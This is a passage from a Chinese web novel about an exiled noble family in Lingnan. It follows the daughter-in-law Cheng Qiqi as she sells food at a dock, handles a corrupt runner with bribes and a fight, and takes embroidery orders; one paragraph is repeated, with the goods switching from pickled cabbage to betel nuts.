程七七坚定的声音,恍若鼓锤,敲到了他的心尖。 他站在门口,只能看到程七七的侧颜,曾经的粗鄙不见,她往那里一站,就像是耀眼的小太阳一样。 “我这辈子,只想守着安安,平平安安的长大。” 程七七清脆的声音,不仅让娘听了高兴又遗憾,靳墨之听了,心中亦是震撼。 “上坡了,我们来帮忙。”靳礼之在后面帮忙推板车。 靳砚之不想动,但,这好了不容易的机会,可不能没了。 “等会,我下板车。” 程七七想要下板车,但靳墨之他们没有停,靳礼之道:“嫂子,你这么轻,我们很容易就推上去了。” 板车颠簸,程七七稳稳当当的坐在马车上,她抬头,看着黑土拉板车的手,因为用力而青筋暴起…… 他是太监…… 柳素仪的话仿佛在她的耳畔响起,程七七疑惑的想:不是说太监不长胡子吗?难道他的胡子是假的?还是太监也会长胡子? 乱七八糟的想法,在程七七的脑海里一闪而过,很快,程七七就开始琢磨着等会到了县里怎么卖酸菜了。 “礼之,砚之,等会你们负责卖酸菜,我负责卖酸菜粥。” “黑土,你就负责看着点,别让人闹事。” 程七七分配着大家的工作,坐在板车上的她,开始传授着卖酸菜的经验了,比如说,要脸皮厚,再比如说,要胆子大。 一路到了县城,程七七道:“我们就到码头附近。” 她之前观察过,码头苦力,贩夫走卒更多一些,搬完一早上的货,就到附近吃粥吃馒头,到码头卖,正好合适。 程七七挑了一个空地,张罗着他们将桌子放下来,然后就坐在一旁,一边舀出一勺粥,打开酸菜坛子,香味扑鼻而来。 她看着靳礼之和靳砚之道:“你们可以开始了。” 靳礼之和靳砚之愣了一下,看着来来往往的人群,他们两个人眼巴巴的看着来来往往的人。 “你们光看有什么用?喊啊!”程七七开口提醒着,这两人是以为看着,能把人看来? 靳砚之一咬牙,想到好不容易争取来的机会,想到他在京都听商贩叫卖,立刻就吆喝了起来:“卖酸菜,好吃的酸菜粥。” 靳砚之蚊子似的声音,小的听不见。 程七七:“靳砚之,你这声音,谁能听到?” “卖酸菜粥咯!” 靳砚之扯着嗓子喊着,把程七七给吓了浑身一个激灵,她睨了靳砚之一眼,他这人是要把客人全吓跑? “嘿嘿。” 靳砚之不好意思的笑了,扯着嗓子喊完之后,立刻就放了一个正常的声音了,可惜,就这么干巴巴的喊,一个来买的人也没有! “这,这没人来买啊!” 靳砚之有些急了,万一今天什么都卖出去,那他岂不是赔了一百文钱? 明天还要去山上砍樟树? 靳砚之越急,这脸上都快哭了! 靳礼之也放大胆子喊,可,一个人都没有! “来来来,你们两个,一人拿一碟子酸菜。” 程七七直接拿了两碟子酸菜塞到他们手里,她清脆的声音喊道:“大家瞧一瞧,看一看了,三文钱的酸菜粥,买了不吃亏,买了不上当~” 程七七清脆的嗓音,伴随她软乎乎的语调,让人停了,还真忍不住想要停了下来。 靳礼之和靳砚之两个人一人端着一个碟子,酸菜的香味,让人忍不住唾沫都开始狂咽。 “别人都卖两文,你这酸菜粥还卖三文钱?” 听到别人的质疑,程七七一点都不慌张,她笑着解释:“大哥,你可以看看我的粥。” 程七七舀了一碗粥,香浓的粥,粒粒开花,她又用小瓦勺,来了一勺道:“我这粥稠的跟米饭一样,卖两文钱,那我可真是连饭钱都挣不着。” 浓稠的粥,跟别人照得出人影的粥,确实不一样,男子道:“我三文钱,也买这样的?” “对。” 程七七的话音落下,那大哥立刻道:“兄弟们,快来这里买酸菜粥。” 随着大哥的吆喝声落下,瞬间挤来了十几个大汗。 程七七笑的眼睛都眯了起来:“大家不要急,排队,都有,都有的!” 程七七盛粥,舀酸菜,忙得那叫一个手不停,很快,一大缸子粥卖完了,开始卖第二缸子。 “我家酸菜好吃,大家买了回家也可以吃的。” 程七七趁机说着,朝着靳砚之和靳礼之使了一眼眼色,他们立刻就开始卖酸菜了。 “小娘子,你以后天天来卖吗?” 一个男子买酸菜粥,盯着程七七的脸,问:“小娘子成亲了吗?” “咳。” 靳墨之清了清嗓子,上前一步,站在程七七的身侧,周身散发着寒意,比冬日里的冰块还冷。 第一卷 第47章 谁准你在这里卖酸菜的? “你们看什么呢?” “我嫂子是你们能看的吗?” “我跟你们说,我大哥可厉害了,小心把你们眼珠子都挖出来!” 靳砚之往前站了一步,挡住了大家看程七七的目光,曾经在京都,背靠忠勇侯府,靳砚之在京都不说横着走,至少在很多人面前,那都是高高在上的! 今天的靳砚之,穿着一身粗布短打,看起来跟乡下人没什么两样,但从小到大,养出来的富贵和高高在上,那可是与身俱来的! 哗啦~ 刚刚还不断挤上前的人,瞬间跑得飞快! “……” 靳砚之看着人都被他吓跑了,只觉得后背一阵寒意,他一回头,连忙道:“嫂子,你放心,我们继续卖酸菜!” “卖酸菜粥了,三文钱一碗,酸菜两文钱一勺。” 靳砚之的脸上的笑容都挤出褶子了:“买酸菜吗?我嫂子做的酸菜可好吃了!” “大哥,酸菜除了配粥,还可以做菜呢,炖鱼,可香了!” 靳砚之的声音就一直没停,见谁都笑成一朵花。 程七七不停的盛粥舀酸菜,对靳砚之也有了新的印象,从流放前侯府的纨绔子弟,到流放后处处想逃跑,差点被打死。 再后来,被靳家旁支兄弟们背,靳砚之安静了下来,跟林惠兰和靳雪母女不同,靳砚之似乎最早认识到处境。 到了流放地,靳砚之乖乖上山干活,回家就劈柴捡柴,昨天答应带他出来,就想着这纨绔子弟,或许有点用。 现在看来,确实是有点用。 能扯虎皮吓退那些想闹事的人,还能放低身段跟那些贩夫走卒打成一片卖酸菜。 “卖酸菜,好吃的酸菜粥,能炖鱼汤的香菜!” 靳礼之从最开始的拘谨,看到靳砚之都卖出很多酸菜了,于是,他也不甘落后,以前跟庄户上的人相处的时间长,靳礼之长的憨厚,很快,也渐入佳境。 看着他们两个人腰上的钱袋子慢慢变得沉甸甸的,程七七放心了,看来,她做的酸菜,味道还是不错的! 靳礼之和靳砚之兄弟两个,左右两边,一手挎着篮子,一边卖酸菜。 “收钱。” 程七七回头看了一眼浑身散发着冷意的黑土说着。 黑土正目光犀利着盯着每一个过来买酸菜粥的人,冷不丁的听到程七七的话,手比脑子快,伸手接过三文钱。 “酸菜买回家可以炖汤,酸辣又好吃。” 粥卖空了,程七七开始推销她的酸菜了,用油纸包酸菜,一勺酸菜,一个油纸包,就是看她包,也是一种享受。 很快,她这边也开始来人买酸菜了,还有很多吃了酸菜粥的回头客。 靳砚之刚刚那一番唬人,再加上黑土这颀长却浑身冒冷意的人在这里,倒是没有人敢闹事。 桌子上堆的满满的酸菜包,慢慢变成叮叮当当响的铜钱。 程七七的唇边漾起笑容,刚收完钱的靳墨之眼角余光正好瞧见,愣了一瞬,随即飞快的转过头。 …… “怎么回事?今天的酸菜粥卖不动了?” 阿贵嫂看着还满当当的酸菜包,粥也还有大半缸,往日这会正是生意最好的时候,怎么今天倒是没有人呢? “阿贵嫂还不知道呢?今天码头边上,来了一个小娘子,带着三个男人卖酸菜粥,三文钱一份,大家都抢着买。” “阿贵嫂,以后,我就要换地方买酸菜粥了。”男子决定回去试试酸菜炖鱼,看看是不是有他们说的这么好吃。 “多谢赵老板提醒。” 阿贵嫂说着,拿着了几个酸菜包递上前,然后就让人收摊子,去码头了。 “这小娘子太实诚了,粥也熬的浓。” “酸菜的味道也好吃。” “就是三文钱贵了点。” “兄弟,这总比照得人影的粥强吧?” 类似的话语,一句一句的传入到阿贵嫂的耳朵里,阿贵嫂的眼眸都冷了来,卖了这么多年的酸菜粥,被抢生意,也不是第一回了! “是她?” 阿贵嫂看清坐在凳子上卖酸菜包的程七七时,一眼就认出来了,长的白嫩水灵,她道:“小虎子,去,打听打听,他们是什么来头。” “娘,我现在就去。” 小虎子机灵,立刻就去打听了,很快,小虎子就打听到了,道:“娘,他们是京都流放的犯人。” 犯人? 阿贵嫂唇角勾起一抹冷笑,在小虎子耳旁低语几句,小虎子连连点头,仗着身形矮小,很快就跑了。 “嫂子,我卖完了!” 靳砚之拎着空空的篮子时,声音都透着激动,就连他的脸,都泛着红晕,他解下腰间沉甸甸的钱袋子, 铜钱撞击的声音,悦耳动听! “不错。” 程七七双手接过,小小的酸菜,没想到,能换回这么多的铜钱? 程七七小心翼翼的将钱放在她特意找娘缝制的布包里,眼底的喜悦藏都藏不住。 靳墨之脑海里闪过一个念头:她喜欢钱! “嫂子,我这还有一点,我再去卖。” 靳礼之还剩一点没卖完,他有些不好意思。 “也很不错了,继续努力,我们今天已经成功了。”程七七鼓励的说着,不管是靳礼之还是靳砚之,他们今天能放下身段去卖东西,已经是赢了。 靳砚之主动接过篮子,道:“我来帮你卖!” 靳砚之接过篮子,一想到回去,爹爹会夸赞他,说不定还能奖励他一块肉呢,以后,他靳砚之,再也不用去砍樟木了! 靳砚之摸了摸他的手心里结痂的伤,推销起酸菜包,更加起劲了。 ‘啪’的一声。 靳砚之正卖酸菜包呢,手里的篮子,就被暴力的打掉在地上。 “谁准你们在这里卖酸菜的?” 一个身穿着衙役服的男子走了过来,握着腰间的侧刀,大声喝斥。 “我的酸菜。” 靳砚之被别人打翻了酸菜,本来简单的一包的酸菜包,这下全散落在地上了。 一想到这是百来文钱。 一想到这是嫂子辛苦做出来的,靳砚之气的就想骂人了! 一抬头,当靳砚之看到对方一身衙役的衣服时,靳砚之瞬间就想起了曾经被刀疤张一鞭子一鞭子甩过来的情景! 靳砚之脸色一白,脚步连连往后退。 第一卷 第48章 六打一? “我的槟榔果。” 靳砚之被别人打翻了槟榔果,一想到这是百来文钱,一想到这是嫂子辛苦做出来的,靳砚之气的就想骂人了! 一抬头,当靳砚之看到对方一身衙役的衣服时,靳砚之瞬间就想起了曾经被刀疤张一鞭子一鞭子甩过来的情景! 靳砚之脸色一白,脚步连连往后退,连洒落一地的槟榔果都不敢去捡了。 领头的衙役吕保生朝着他们手一伸,怒斥道:“把你们的身份证明拿出来。” 只要让他们不敢再摆摊,就能白得一两银子,这活,简直跟捡钱差不多。 靳砚之疯狂的咽了咽口水,刚刚挣钱的喜悦瞬间就没有了,只剩下恐惧,他,他们可是流放的犯人,这要是发现出来赚钱,那岂不是要完蛋? “大人。” 程七七在发现对方是衙役,且来者不善的时候,心中一沉。 她站起身,抄起旁边的红茶味槟榔果,大方的就像是抓糖一样,塞到了靳砚之的手里:“砚之,还不快点请大人们尝尝我们的红茶味槟榔果。” “啊,哦。” 靳砚之看着篮子里多出来的槟榔果,他不傻,立刻就明白了程七七的想法,他拿着红茶味槟榔果,递上前:“大人,我嫂子做的红茶味槟榔果,味道可好吃了,请大人们尝尝。” 靳砚之一边给几个衙役送吃的,一边在肉疼的数着:五文,十文,二十文…… 心痛! 靳砚之心疼的滴血了,但脸上,还是笑的跟一朵花一样。 没眼看。 程七七默默的移开了脸,她走上前道:“大人,我们刚到岭南没多久,今天第一天来卖槟榔果,不知道规矩,还请大人见谅。” 程七七说着,直接拿了一个钱袋子出来。 一旁愣住的靳礼之,立刻就明白了,接过钱袋子,悄悄的往吕保生手里塞,这样的事情,在流放的路上,在忠勇侯还没醒过来的时候,靳礼之做过无数次! 只是…… 这钱袋子里沉甸甸的铜板,怕是有一二百个,这样一来,今天的辛苦,怕是白干了,就是不知道,这些人,能不能满足他们的胃口? “刚来的?” 钱袋子在到手的瞬间,吕保生就知道里面最少二百文钱了,他反手就将沉甸甸的钱袋子塞到了怀里,随即沉声道:“刚来的,也要把身份证明拿出来。” 又一个收钱不办事的? 靳礼之心中愤怒,但,他们的囚犯的身份,注定了不能跟官差硬碰,他的心中担心着,却没有法子。 靳砚之拳头攥的紧紧的,以前吃过亏的他,死死的忍住。 “大人,以后我们愿意每个月交钱。”程七七想着,天下熙攘皆为利益。 “身份证明,拿出来!” 吕保生直接拔出了刀,完全没有拿人手短的想法,刀一抬手,直接就将桌子给劈成两半了! 剩下没做完的槟榔果全部洒落一地,就连调制好的蚌壳浆,全部都掉在了地上,碎了一地。 “小心。” 程七七身后低沉的声音响起,靳墨之伸手,抓着程七七的手臂往后一拉,瞬间就将人护在了身后。 “身份证明拿不出来,那就是贱民,黑户,通通抓起来。” 吕保生似愤怒的开口,一个手势,他身后的六个衙役呈扇形将她们包围了起来。 “嫂子,我们怎么办?” 靳砚之急的慌张,要是还是从前侯府的二少爷,这衙役,给他擦鞋都不配! 现在,只能窝囊的躲在……黑土的身后。 “嫂子,要不,我这里还有点钱。” 靳礼之吓了一跳,小声的跟程七七说着。 “不必。” 程七七摇头,这人根本就是故意来找茬的,她心中焦急,只盼着重山那边能快点有消息! 他们流放犯人的身份,严重的来说,是不能做生意挣钱的。 但,天高皇帝远的,有钱能使鬼推磨的,只要拿钱交保护费,他们就能在这里摆摊做生意。 程七七的想法是好的,唯一没想到的就是,刚摆摊不过半天,就被人闹事了。 “不过是一个衙役,请示过你的顶头上峰吗?巡检知道你们这么嚣张吗?” 靳墨之冷脸看着洒落了一地的槟榔果,那是程七七从早起之后,手指一直没停做出来的! “还敢顶嘴?打!” 吕保生说着,直接指挥着人动手了。 六个衙役,对付三个男人? 那简直不要太简单。 “打不过,我们就跑吧。”程七七面露担心的上前,小声的在靳墨之耳旁说着。 靳墨之回头,她那双漂亮的眼睛,仿佛一眼就能让人看穿,满目的担心,他的唇微勾:“就他们?” 靳墨之的眼眸中透着嘲讽,仿佛在嘲讽着他们的不自量力。 这,这么厉害的? 六打一? 程七七脑子疑惑了片刻,看到围上来的六个衙役,果断的找了一个空子往后退。 “嫂子,我保护你。” 靳砚之护在程七七的身前,出门前爹可叮嘱过他了,一定要好好保护好嫂子,嫂子要是掉了一根头发,就揍他! 他都不敢想,嫂子要是出事了,他回去怕是要完! “嫂子,我去帮忙。” 靳礼之撸起袖子就想去帮忙。 靳礼之的话音方落,就见到黑土一脚一个,直接将那些衙役给踹飞了! 太帅了。 这优越的大长腿啊。 程七七都看呆了,之前碰上土匪的时候,太过慌张,只觉得黑土的大长腿优越了,现在离得近了,黑土的每一拳,每一脚,都充满着力量感! 六个衙役在他面前,就像是没用的脆皮。 既能打,声音也好听,可惜……是个太监。 程七七惋惜了一瞬间,下一刻,就听到吕保生愤怒的声音响起:“你敢打衙门的人?我一定要将你们全部都抓起来!” 吕保生撂下狠话,转身就想要跑。 靳墨之纵身一跃,一脚就踢到了吕保生的后背。 啪。 吕保生摔倒在地,怀里的钱袋子也洒落了一地,钱袋子里的铜钱砸在地上,瞬间滚落,四处流散。 “我的钱,我的钱。” 吕保生看着散落一地的钱,宝贝似的往怀里捞。 “谁能告诉我,这是怎么回事?” 一个中气十足的声音响起,刚刚看到黑土一打七的围观百姓,瞬间朝着声音望去。 第一卷 第49章 利益捆绑才长久 “大人,我们在这里摆摊卖槟榔果,这位衙役非说这里不能卖,我们刚到岭南,不懂规矩,还请大人赐教。” 程七七看到不远处的重山,立刻走上前,朝着中年男人开口说着。 “你们是……”囚犯。 吕保生指着程七七一行人,激动的开口,靳墨之上前扶着吕保生,手上一用力,疼的吕保生说不出话来了。 “我扶你。” 靳墨之开口道歉,道:“你们无故要抓人,我也只是为了自保,得罪了,我愿意赔偿。” “……” 吕保生有苦难言,这靳墨之抓着他的手,疼的他连话都说不出来,只能以求救的眼神看向中年男子:李巡检,他们是犯人啊! 可惜,吕保生的眼神,李巡检没有看到。 “好你个吕保生,这里本就可以摆摊卖槟榔果,你为何要为难人家?” 李巡检怒气十足的声音响起,看到他怀里堆成小山似的铜钱,冷着脸道:“你个小小衙役,还敢收受贿赂,县令大人再三提醒,不得收贿,来人,抓起来。” “大人,他们……” 吕保生挣扎着,靳墨之一把抓起他腰间的布头,就往吕保生的嘴里塞。 靳墨之笑着说:“大人英明,百姓有这样的好县令,真是我们潮生县的福气!” 靳墨之恭维的声音响起,反手就将吕保生的手给绑了起来,然后交接给他身后的弓兵了。 “唔,唔~” 吕保生吓的脸都白了,来的是马巡检,他还不怕,那是他姐夫。 但李巡检,跟他姐夫有仇啊! 李巡检不是管海防的吗? 怎么来市井街道了? 被抓走的吕保生心底惴惴不安着,只盼着能让马巡检来救他。 吕保生被抓,他们这一片小摊贩可真是太好了,平时他们交钱就不说了,他们摊上但凡有什么好东西,吕保生绝对第一个来拿。 至于钱?那肯定是不付的! 希望,吕保生被抓以后,就不能出来嚣张了! “大家放心,只要大家本分的摆摊经营,县令大人定不会让大家受欺负。” 李巡检正气凛然的说着,他道:“你们安心做生意挣钱,就好!” “好。” 重山隐在人群中,带头鼓掌道:“我们有这样的县令大人,是我们的福气啊!” 阿贵嫂盯着程七七一行人,眼底一片愤怒,他们怎么说动李巡检来帮忙的? “小虎子,走。” 阿贵嫂转身就走,她得去找马巡检好好问问,这些人卖的花里胡哨的槟榔果,抢她的生意,也就是在抢马巡检的钱袋子。 “李大人,今天真是谢谢你了,否则,我们怕是危险了。” 将东西收拾完之后,程七七便示意靳礼之塞钱。 “大人,请大人买酒喝。” 靳礼之塞钱那叫一个厉害,悄无声息,速度又快。 “不必如此!” 李巡检板着脸孔,将钱又还了回去:“大人说了,不能拿百姓的钱,你们虽是流放的犯人,但安分做生意,也能挣点钱贴补。” 话落,李巡检带着弓兵,带着被抓的吕保生等人离去。 “嫂子。” 靳礼之蹙起了眉头,将钱递给了程七七问:“这怎么办?” 流放时,刀疤张是收钱不办事。 先前的吕保生也是收钱不办事,像李巡检这样,不收钱办事的,那还真是少有。 “当然是留着了。” 靳砚之早就心疼这些铜钱了,不要正好他们拿着。 “世子妃,你们没事吧?” 重山欢快的跑了过来,视线在黑土身上转了一圈,世子护世子妃的时候,真是太厉害了! “没事,就是损失了一些槟榔果。” 程七七摇头,看着洒落一地的槟榔果,哪怕捡起来,也卖不了钱了,她道:“重山,谢谢你。” “别。” 重山连连摆手,不敢站在程七七面前,往靳墨之身边一站:“世子妃要谢,就谢世……大哥吧。” “都是我们该做的。” 靳墨之垂下眸子,刚刚程七七的镇定,让他刮目相看,可,曾经的她,不是见着县令都抖如筛糠,一句话都说不出来? 莫非,侯府呆的久了? “黑土,那个李巡检,你们是怎么搭上关系的?以后能不能告诉他,只要他愿意保护我们,我们愿意拿出三成干股,以后利润分三成给他。” 程七七没想到,第一天就碰上闹事的,若是背有靠山,这样的事情,便不会发生。 “三成,嫂子这是不是……”太多了! 靳砚之后面的话,被程七七的眼睛一瞪,瞬间就咽了回去。 嫂子的眼神好凶的样子。 靳墨之想了想,倾身上前,小声说:“世子于苏县令有救命之恩,李巡检,是苏县令的人。” 他清洌的气息瞬间包裹着她,耳畔是那低沉带着魅惑的嗓音,一抬头,那漆黑如墨的眸子,恍若黑洞。 腥咸的海风一吹,那一句话,就像是飘在半空之中一样,程七七的视线下移,落在他的虬须胡上,最终道:“等回家,问过侯爷再说。” 世子都不在了,这救命之恩人家认不认不好说。 利益捆绑,才是最实在的。 “嫂子,那,那这些怎么办?” 靳礼之看着篮子里捡起来的槟榔时,沾了灰,吹吹还能卖的……吧? “扔了。” 程七七拿过篮子,看到旁边有一块干净的空地,篮子一翻,直接倒到了空地上。 “我们走吧。” 程七七转身就走。 靳礼之和靳砚之回头看着被人哄抢,一阵心疼,这扔的哪里沾灰的槟榔果啊,那都是钱啊! 靳墨之眼眸微深,重山不解的问:“世子妃,这拿回去吹吹还能吃呢,为什么扔了呀?” “不扔,明天我们再来卖槟榔果,别人会不会想,这是地上捡起来的槟榔果?” 程七七抬眸反问,视线在旁边的人群转了一圈,纠正道:“重山,以后别叫我世子妃,叫我名字就行。” “少夫人。” 重山想也不想的说着。 程七七:“……” “咦,这不是回家的路。” 靳砚之走了一会就发现不对劲了,这,好像不是回家的路啊。 “谁说我们现在就回家了?” 程七七睨了他一眼:“桌子碎成两半了,不得再重新找人拼起来?” 第一卷 第50章 撞上来了 沿河边走着,突然,程七七停下了脚步:“河道枯了,露出石板桥了!” 程七七盯着大河中间的路,从安南州到潮生县,就因为这条河,她记得绕了一天的路。 李八还说,他们再晚一点,就可以走河里过了。 “还真是,河里居然还有石头铺的桥。” 靳礼之惊奇的说着。 “这桥也太窄了。” 靳砚之嫌弃的说着:“再说了,有桥跟我们也没关系,当初来的时候,因为有水,我们可多走了一天!” 靳砚之现在想想,都觉得他的脚底板疼,从小到大,他这辈子,都没走过这么多的路! “也是。” 靳礼之立刻就收回了目光问:“嫂子,这桌都劈成两半了,还能拼回去?” “拿板子钉一钉,毕竟我们家,也没别的桌子了。” 程七七叹气,她空间里倒是很多桌子,都是从侯府收来的,还有以前囤着的! 说实话,她想过离开侯府,但没想过,离开侯府,这样好的家具,也不能拿出来用。 程七七回头看了一眼那条又宽又浅的河道,长长的石板路露出来,要是,能一直存在就好了。 “嫂子,我们今天挣钱了,能不能去酒楼买红烧肉?” 靳砚之的话音方落,程七七一个眼刀子就削了过去,纨绔子弟就是纨绔子弟,只想着吃。 “那,就去买点肉?” 靳砚之退而求其次,钱都赚了,难道不能买肉吃? “要是有得剩,就买。” 程七七随口回了一句。 有得剩…… 靳砚之的瞳孔就像是地震了一般,随即追了上前,看着程七七的背影,他想问不敢问! 妹妹靳雪儿,程七七说打就打,他不敢惹。 “到了。” 程七七看到洪记绣楼的时候,立刻眉开眼笑的,她就说,阿榕嫂应该不会骗她。 “你们到外面等,我进去。” 程七七看着绣楼里熏香扑鼻,进出的都是女眷,似乎不适合有男人在,她走进绣楼,和布庄不一样,踏进绣楼的那一刻,香风阵阵,就连地上,都铺着地花团锦簇的地毯。 绣楼布置的很是雅致,她一身布衣,显得格格不入。 “你是来交绣品的吗?” 一个女子朝着程七七走了过来询问。 “是。” 程七七毫不犹豫的应声,她这次出来,带了几条帕子出来,京都的绣工手艺,那绝对是不差的! 所以,交绣品,也没错。 “你叫什么名字?以前好像没见过你,领了些什么绣品走?” 女子领着程七七进了偏殿,偏殿,似乎是专门交接绣品的,程七七已经看到有几个穿粗布衣裳的妇人,面色拘谨的在交绣品。 “我是归化里村的,第一次来。” 程七七主动开口,她从怀里拿出帕子递上前:“如果是想到你这里接绣活的话,能挣多少钱?” 她对这个洪记绣坊,印象不错,眼前接待的女子,并没有因为她一身朴素,就高高在上。 “那你可是来对地方了,我们洪记绣楼,不仅在潮生县是最好的,我们小姐在安南州的绣楼,绣品更是远销海外。” 女子骄傲的说:“绣的好的,可以按精品算,能有十来文钱,绣的品相一般,也就五六文钱。” 女子接过程七七手里的帕子,瞬间眼前一亮,她激动的问:“这是你绣的?” “我家人绣的。” 程七七眼眸微闪,婆婆柳素仪的绣工很厉害,孟静瑶绣的似乎也不错,到了岭南之后,她几次撞见孟静瑶随手就在帕子上绣了一朵花。 “不错,要是能保侍这样的水准,我可以给你十三文钱一方的帕子。” 女子自我介绍道:“我叫月娘,专门负责绣楼的绣品,我这边有十二花神帕子,七天后就要交货,若是你能接下……” “接。” 程七七直接答应了下来:“你们出料出线,我们只需要绣,一方帕子十三文钱,你们应该有花样吧?” 程七七在心底默默计算着,十三文钱一方,十二方帕子就是……一百五十六文钱。 “对。”月娘点头,提醒道:“这十二花神帕,花样可不简单,而且,若是你不能按时交货,便要赔付绣楼损失,一两银子!” “……” 程七七默了,挣一百五十六文钱,要是完不成,就得赔一千文钱? “月娘,如果绣品好,你们却故意鸡蛋里挑骨头,那岂不是要赔钱?”程七七直白的开口。 “……” 月娘都惊呆了。 ‘噗嗤’ 一个笑声传来,她忍不住提醒道:“我们洪记绣楼要是真敢这么干,在潮生县也开不下去了。” “佟管事。” 月娘朝着来人行礼,将程七七的帕子递上前。 佟管事看了一眼,就知道为何月娘愿意把十二花神帕给她绣了,这绣活手艺,比起绣楼里的绣娘,那是一点都不差了。 “你如果不放心,可以去外面打听打听,我们洪记绣楼的名声,那是最好的。” 佟管事含笑打量着程七七,其实刚刚她一进来,她在二楼的时候就瞧见了,一身粗布麻衣,看着很穷,但她的脸上,却没有怯懦,也没自卑,也没有拘谨。 她从容的脸上,落落大方的,让她印象深刻。 等招待完客人,佟管事就听说,月娘拿了十二花神的小样,十二花神帕不算难,可,如今绣楼在赶工,外接绣活的绣娘,手艺又不够。 谁知道,一走进来,就听到程七七的这番话,有过这种担忧的人不在少数,但像程七七这般直白说出来的,还真少之又少。 “佟管事可能为此保证?我只是小老百姓,并没有说你们绣楼不好的意思。” 程七七坦然的承认,丑话说在前头,万一真到扯皮的时候,一两银子于她来说不算什么,但,这个亏,她不能吃! “可以。” 佟管事点头道:“你是第一次来吧?我们这边交付绣品,都会签字画押的,只要你们交回来的绣品是好的,保证没问题。” “好,我接了。” 程七七看了一眼十二花神的小样,对靳家女眷来说,不难。 从绣楼里出来,程七七的怀里便多了一个包袱,她朝着旁边望去,看到黑土的时候,下意识的掠过脸。 刚下台阶,一辆失控的马车,急驰而来,朝着程七七撞了过去。 第一卷 第51章 嫂子,我要买肉 “小心。” 程七七只觉得手上一凉,下一刻,一道强劲有力的手,直接拉着她来了一个360度的转体运动。 嘶吼的马匹,马蹄似乎擦着她的头发而过。 程七七的心跳都快停了,抬眸,便是那浩瀚深邃的眼眸和……满脸的胡子! “喂,你没长眼睛啊?没看到本小姐的马车过来了?不知道避让吗?” 一道娇喝声响起,马车里,一个穿着红色披风的女子走了出来。 披风有一圈滚边的白色兔毛,在这寒冷的冬天,显得暖和,同时,也彰显着她的身份尊贵! 惊魂未定的程七七,听着女子喝斥的话语,瞬间都快气笑了! 她一个撞人的,居然这么理直气壮? “还有你,是怎么赶车的,想摔死本小姐吗?” 女子手中的鞭子扬了起来,朝着车夫就狠狠的甩了过去。 ‘啪。’ 鞭子打在车夫的身上,车夫非但没有反抗,也没有闪躲,只是跪在地上,不停的求饶道:“大小姐息怒,大小姐息怒。” 程七七:“……” 这就古代的权贵,随即打骂下人,她的视线微沉,看到车夫后背打的皮开肉绽,却不敢有半点反抗的念头。 “滚开,碍眼。” 女子伸手,立刻有一个护卫上前,躬着身子,当下马车的凳子。 “你,刚刚吓到本小姐了。” 女子一脸轻蔑的打量着程七七,看着她身上那身粗布麻衣,更显得高高在上了。 靳墨之上前一步,将程七七护在身后。 程七七抬眸,看着他那宽厚的肩膀,没有退缩的站了出来,道:“这位小姐,刚刚明明是你差点撞到我们吧?” “本小姐撞到你,是你的福气。” 女子轻蔑的扫了她一眼,视线落在靳墨之的身上:“你,身手不错。” “谢小姐夸奖。”靳墨之就像是听不懂她的话一般。 女子秀气的眉一蹙。 “宋小姐大驾光临,难怪树上有喜鹊在叫呢。” 洪记绣楼里,佟管事大步流星的走了过来,上前扶着女子道:“宋小姐,您订制的那身衣裳,已经做好了,宋小姐要不进去先试试?” “接了绣活就赶紧走,还杵在这里,挡着我们做生意了。” 佟管事朝着程七七使了一个赶紧走的眼色,随即微低头,笑靥如花的说:“多日不见,宋小姐又变漂亮了。” “月娘,还不将桃花酥送到二楼的厢房。” 佟管事吩咐着,一边笑着解释着:“小姐刚送来一批桃花酥,正准备送到宋小姐府上。” 佟管事的话如沐春风,她的笑容,她的恭维,让宋明珠烦怒的心,瞬间春风化雨一般消失不见了。 “谢谢洪姐姐。” 宋明珠的眼睛亮了亮,温柔的笑着,和刚刚的嚣张,形成鲜明的对比。 她们的声音渐渐远去,靳砚之看呆了:“岭南的风俗这么嚣张吗?在京都,谁家小姐敢当街这么打骂下人?” 当然是因为京都的贵女,爱惜名声,更害怕不小心得罪了不该得罪的人。 程七七望着宋明珠等人离去的背影,再看了一眼被打的皮开肉绽的车夫,她的心情也沉重了几分,看着靳墨之道:“她想招揽你。” “这辈子,我只给靳家办事。” 靳墨之想也不想的回答着:“夫人请放心。” 夫人? 难道不是少夫人? 程七七刚要纠正,就听着靳砚之不愤的声音响起。 “那我们就这么算了?”靳砚之从小到大,在京都都没这么憋屈。 “砚之,我们也打不过,我们还是犯人。” 靳礼之小声的提醒着。 靳砚之瞬间就像是斗败的公鸡一样! “想要不被别人欺负,那就让自己变强!” 程七七抱紧了怀里的包袱,回头看了一眼洪记绣楼,早晚有一日,她会变得强大! 程七七眼神坚定,瞬间就调好了心神,道:“我们赶紧去买点棉花,晚上是越来越冷了。” 刚刚差点被马车撞的事情,程七七并没有总放在心上,正如靳礼之说的,他们现在是犯人,但,又不会一辈子是犯人? 今日差点被撞倒的事情,先记在黑本本上。 小女子报仇,十年不晚嘛! 卖槟榔果挣来的钱,程七七瞬间就开启了买买买的模式,棉花是必须买的,婆婆身上的棉袄,都是薄薄的袄子。 更别说忠勇侯身上的袄子了! 她没买更细更软的细棉布,而是买的更耐磨的粗棉布。 几样东西置办下来,手里的钱就没剩下多少了,程七七直接去瓦市买了三斤肉,十二文钱一斤,足足花了三十六文钱! 程七七嘴皮子利索,还白得了一副猪下水! 靳砚之看着板车上的猪下水时,走在后面都闻着臭,小声嘀咕着:“这么臭。” “靳砚之,你要觉得臭,晚上就别吃。” 程七七冷冷的扫了他一眼,之前做野猪下水的时候,他吃的可比谁都香。 “嫂子,我,我就是嘀咕一下,没别的意思。” 靳砚之连连认错,小心的打量着程七七,这个乡下嫂子,还真是……他见过最不一样的! 从流放路上到岭南,程七七有忠心耿耿的丫鬟送东西。 路上程七七能认识很多他不认识的东西,靳家女眷,别说娇养着长大的靳雪儿了,就是靳晴儿、还有靳润之那个出身武馆的高胜兰,都叫苦叫累,偷偷哭过。 只有程七七,她脸上永远都是带着笑。 先前碰上那凶猛的衙役,她似乎也很镇定。 靳砚之脑子里一路想,一路往家赶,问:“嫂子,我们不是还有钱吗?为什么不能多买点肉?” 这么多人呢,三斤肉,能够谁吃? “这是我跟娘,胜兰还有小允她们一起洗的,卖,是你跟礼之一起卖的,你们不要钱?” 程七七挑眉,看着靳砚之脑袋不怎么聪明的样子,他也就投胎好! “嫂子,我也有钱分?” 靳砚之激动的看着程七七道:“嫂子,那我的钱要买肉!” 以前他可是无肉不欢的,这几个月以来,吃上肉的次数,一个手指头都能数得过来。 第一卷 第52章 钱也太少了 “你说,你们今天卖槟榔果,就卖了八百六十文钱?” 忠勇侯听到程七七的话时,整个人都惊呆了! 三五文钱一个的槟榔果,居然能卖这么多钱? 